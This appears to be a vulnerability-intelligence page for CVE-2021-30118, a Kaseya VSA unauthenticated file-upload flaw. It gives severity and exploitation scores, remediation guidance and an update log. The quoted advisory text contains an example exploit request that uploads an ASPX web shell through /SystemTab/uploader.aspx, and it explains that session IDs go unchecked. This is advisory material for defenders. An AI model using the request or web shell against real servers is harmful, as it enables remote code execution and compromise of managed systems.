CVE-2021-30118

CRITICALNVD 9.89.8
EchelonGraph scoreMEDIUM confidence

“—” beside the score: it is equal to NVD's CVSS score.

Score 9.8 from GitHub Security Advisory (severity: CRITICAL) published 2022-05-24. NVD baseline CVSS 9.8; sources differ by 0.0.

Triggered by: GitHub Security Advisory CVSS
Sources: EPSS, GitHub Security Advisory, NVD CVSS v3
Trending — 3 sources updated this weekElevated

Also known asEUVD-2021-17058 (ENISA EUVD) · GHSA-9xr3-46q4-vwhg (GitHub Security Advisories)Source: ENISA EUVD

9.8EG
EchelonGraph verdictPlan a fixRemediate within your standard update timelines (the SSVC decision on this page).
  • High exploitation likelihood — EPSS 60%
CISA-KEV: Not listedEPSS PROB: 60%CVSS: 9.8Exploit: No code on recordExposed services: Not assessed

Upgrade on-premise to version 9.5.6 or above (from the CVE record's solution, MITRE Corporation) — apply it.

An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: `` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); `` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.

CVSS v3
9.8
EG Score
9.8CRITICALmedium confidence
EG Risk
68
EG Risk 68/100

EG Risk is EchelonGraph's 0–100 priority score. It fuses impact severity (EG Severity, the CVSS base score, never the KEV-floored or EPSS-lifted EG Score) with real-world exploitation and automatability, under weights EchelonGraph set by hand, so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner.

How it’s computed (value × EchelonGraph’s weight)
Severity98% × 45%
Impact severity (EG Severity): CVSS 9.8 of 10. Never the KEV-floored or EPSS-lifted EG Score.
Exploitation60% × 40%
FIRST EPSS: the 30-day exploitation probability when EchelonGraph scored this CVE.
Automatability0% × 15%
CISA's BOD 26-04 default: no one has published Automatable for this CVE, and CISA treats it as “no” for a CVE not in KEV.
SSVC (CISA's decision table, applied by EchelonGraph): Track at low or medium mission impact; Track* at high (mission-essential systems).
Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE.
Action: Upgrade on-premise to version 9.5.6 or above (from the CVE record's solution, MITRE Corporation). Apply it within your standard update timelines.
EPSS PROB
60%
EPSS %ILE
99th
KEV
Not listed

What the EG score is made of (scorer v4.0: the three questions the 0–10 score mixes, published apart · methodology)

The EG score (9.8): severity, escalated by confirmed exploitation. This CVE's 9.8 is its impact severity (EG Severity), not escalated.

EG Severity
9.8 CRITICALCVSS-B, impact only: no KEV listing, EPSS or EG-KEV tier raises it.GitHub Security Advisory CVSS
EG Likelihood
60% within 30 daysSource: FIRST EPSS (model v2026.06.15, score date 2026-11-02). FIRST's exploitation probability, not an EchelonGraph model.
Confirmed exploitation
None on record (CISA KEV, EG-KEV Tier 1)Reported apart from the likelihood: an observed fact, not a probability.
EG Priority
SSVC Track at medium mission impactTrack at low or medium mission impact; Track* at high (mission-essential systems).CISA BOD 26-04: 14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.Each input and its source, and whom BOD 26-04 binds: the SSVC and BOD 26-04 blocks below.

SSVC (CISA's decision table, applied by EchelonGraph)Track at low or medium mission impact; Track* at high (mission-essential systems).

Upgrade on-premise to version 9.5.6 or above (from the CVE record's solution, MITRE Corporation). Apply it within your standard update timelines.

Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE. Mission impact is CISA's Mission & Well-being decision point, and only you can judge it. CISA's table makes it high when Mission Prevalence is Essential — the vulnerable component "directly provides capabilities that constitute at least one MEF for at least one entity" (MEF: mission essential function) — or when Public Well-Being Impact is Irreversible: "multiple fatalities are likely", the cyber-physical system "is likely lost or destroyed", "extreme or serious externalities" are imposed on other parties, or social systems such as elections or the financial grid "are destabilized and potentially collapse". CISA's decision table

BOD 26-04 (CISA's remediation timeline, Table 1)14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.

The score's inputs: In CISA KEV no (CISA's KEV catalog) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). Where an input reads “CISA's BOD 26-04 default”, no one has published it for this CVE, and CISA's implementation guidance says: “If “Automatable” and “Technical Impact” information items about a CVE ID are not available and the CVE ID is not in the KEV Catalog, CISA will treat its values as “no” and “total,” respectively, until CISA or a third party provides metadata about the CVE ID. CISA will always provide the Vulnrichment data for a CVE ID listed in the KEV Catalog.” Whether your system is publicly exposed is yours to answer. BOD 26-04 binds US Federal Civilian Executive Branch agencies; for anyone else it is CISA's published timeline, a reference rather than an obligation. The directive · how EchelonGraph applies it

Published

July 9, 2021

Last Modified

November 21, 2024

Advisory Details (3)

Auto-updated Oct 4, 2026
Fix named in the CVE record's solution (MITRE Corporation).
Web page

Kaseya VSA Limited Disclosure | DIVD CSIRT

https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/

Weakness Classification(1)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 19× in last 7d / 68× in last 30d)

Each row is a time one of our pipelines fetched, updated or re-scored this CVE. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. An arrow marks a change the record states ("CVSS v3 → 9.1"); EPSS and GHSA rows show the values recorded at that time, not what changed (EPSS values are rounded; hover one for the exact figures). Most recent first.

Showing the most recent 96 of 189 refreshes on record for this CVE.

A repeat, a row identical to one the same pipeline wrote less than 10 seconds earlier, is not a separate refresh and is not counted. 4 repeat rows among the latest 100 are merged into the row they repeat. The 93 oldest rows on record are not shown and were not checked, so the counts can still include repeats.

  1. 2026-11-03 05:13 UTCEG score recompute
  2. 2026-11-03 05:13 UTCGHSA enrichmentGHSA-9xr3-46q4-vwhg · GitHub severity CRITICAL · GitHub CVSS 9.8
  3. 2026-11-02 05:25 UTCEG score recompute
  4. 2026-11-02 05:25 UTCGHSA enrichmentGHSA-9xr3-46q4-vwhg · GitHub severity CRITICAL · GitHub CVSS 9.8
  5. 2026-11-01 16:29 UTCEPSS rescoreEPSS 60% · 99th percentile
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  7. 2026-11-01 05:38 UTCGHSA enrichmentGHSA-9xr3-46q4-vwhg · GitHub severity CRITICAL · GitHub CVSS 9.8
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  10. 2026-10-31 05:50 UTCGHSA enrichmentGHSA-9xr3-46q4-vwhg · GitHub severity CRITICAL · GitHub CVSS 9.8
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  13. 2026-10-30 06:01 UTCGHSA enrichmentGHSA-9xr3-46q4-vwhg · GitHub severity CRITICAL · GitHub CVSS 9.8
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  15. 2026-10-29 06:13 UTCGHSA enrichmentGHSA-9xr3-46q4-vwhg · GitHub severity CRITICAL · GitHub CVSS 9.8
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  18. 2026-10-28 06:26 UTCGHSA enrichmentGHSA-9xr3-46q4-vwhg · GitHub severity CRITICAL · GitHub CVSS 9.8
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  1. 2026-10-25 03:24 UTCGHSA enrichmentGHSA-9xr3-46q4-vwhg · GitHub severity CRITICAL · GitHub CVSS 9.8
  2. 2026-10-24 16:28 UTCEPSS rescoreEPSS 60% · 99th percentile
  3. 2026-10-24 03:36 UTCEG score recompute
  4. 2026-10-24 03:36 UTCGHSA enrichmentGHSA-9xr3-46q4-vwhg · GitHub severity CRITICAL · GitHub CVSS 9.8
  5. 2026-10-23 16:28 UTCEPSS rescoreEPSS 60% · 99th percentile
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  7. 2026-10-23 03:47 UTCGHSA enrichmentGHSA-9xr3-46q4-vwhg · GitHub severity CRITICAL · GitHub CVSS 9.8
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  10. 2026-10-22 03:59 UTCGHSA enrichmentGHSA-9xr3-46q4-vwhg · GitHub severity CRITICAL · GitHub CVSS 9.8
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  13. 2026-10-21 04:10 UTCGHSA enrichmentGHSA-9xr3-46q4-vwhg · GitHub severity CRITICAL · GitHub CVSS 9.8
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  16. 2026-10-20 04:16 UTCGHSA enrichmentGHSA-9xr3-46q4-vwhg · GitHub severity CRITICAL · GitHub CVSS 9.8
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  19. 2026-10-19 04:26 UTCGHSA enrichmentGHSA-9xr3-46q4-vwhg · GitHub severity CRITICAL · GitHub CVSS 9.8
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  22. 2026-10-18 04:38 UTCGHSA enrichmentGHSA-9xr3-46q4-vwhg · GitHub severity CRITICAL · GitHub CVSS 9.8
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  24. 2026-10-17 04:25 UTCGHSA enrichmentGHSA-9xr3-46q4-vwhg · GitHub severity CRITICAL · GitHub CVSS 9.8
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  27. 2026-10-16 04:34 UTCGHSA enrichmentGHSA-9xr3-46q4-vwhg · GitHub severity CRITICAL · GitHub CVSS 9.8
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  30. 2026-10-15 03:02 UTCGHSA enrichmentGHSA-9xr3-46q4-vwhg · GitHub severity CRITICAL · GitHub CVSS 9.8
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  33. 2026-10-13 23:13 UTCGHSA enrichmentGHSA-9xr3-46q4-vwhg · GitHub severity CRITICAL · GitHub CVSS 9.8
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  35. 2026-10-12 19:19 UTCGHSA enrichmentGHSA-9xr3-46q4-vwhg · GitHub severity CRITICAL · GitHub CVSS 9.8
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Public detection templates

(1 reference)

A public Nuclei detection template is referenced for this CVE. A detection template checks whether a system is affected; it is not necessarily exploit code.

  • Nucleihttp/cves/2021/CVE-2021-30118.yaml
    Published Oct 11, 2025

    Kaseya VSA < 9.5.7 - Arbitrary File Upload to Remote Code Execution

    Open source ↗

Frequently asked(5)

What is CVE-2021-30118?
CVE-2021-30118 is a critical-severity vulnerability; its CVE record was published on July 9, 2021. An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload…
When was the CVE record for CVE-2021-30118 published?
The CVE record for CVE-2021-30118 was published on July 9, 2021. That is the record's publication date; the vulnerability itself may have been made public earlier. EchelonGraph's copy of the record carries a last-modified date of November 21, 2024; the record at its source may have been updated since.
Is CVE-2021-30118 actively exploited?
CVE-2021-30118 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 60% probability of exploitation in the next 30 days (99th percentile of EPSS-scored CVEs).
What is the CVSS score of CVE-2021-30118?
CVE-2021-30118 has a CVSS v3 base score of 9.8 (NVD).
How do I remediate CVE-2021-30118?
The CVE record's solution for CVE-2021-30118, written by its CNA MITRE Corporation, names the fix: "Upgrade on-premise to version 9.5.6 or above".

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